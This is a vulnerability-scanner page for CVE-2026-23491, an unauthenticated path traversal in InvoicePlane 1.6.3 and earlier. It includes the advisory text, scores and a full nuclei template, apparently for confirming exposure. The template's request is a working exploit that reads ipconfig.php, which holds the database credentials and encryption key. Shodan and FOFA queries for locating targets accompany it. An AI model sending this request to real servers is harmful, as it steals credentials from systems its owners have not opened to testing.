InvoicePlane <= 1.6.3 - Arbitrary File Read

highseverity

7.5CVSS score

4.6%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.

How to confirm it

Send: GET {{BaseURL}}/index.php/guest/get/get_file/..%2f..%2fipconfig.php
Positive when: contains "SETUP_COMPLETED=" and "ENCRYPTION_KEY=" AND contains in content_disposition "attachment" AND status 200

Run it with nuclei: nuclei -id CVE-2026-23491 -u <target>

The full check

id: CVE-2026-23491

info:
  name: InvoicePlane <= 1.6.3 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.
  reference:
    - https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
    - https://github.com/InvoicePlane/InvoicePlane/releases/tag/v1.6.4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23491
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-23491
    epss-score: 0.04605
    epss-percentile: 0.91745
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
    product: invoiceplane
    vendor: invoiceplane
    shodan-query: http.html:"InvoicePlane"
    fofa-query: body="InvoicePlane"
  tags: cve,cve2026,invoiceplane,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/guest/get/get_file/..%2f..%2fipconfig.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SETUP_COMPLETED="
          - "ENCRYPTION_KEY="
        condition: and

      - type: word
        part: content_disposition
        words:
          - "attachment"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from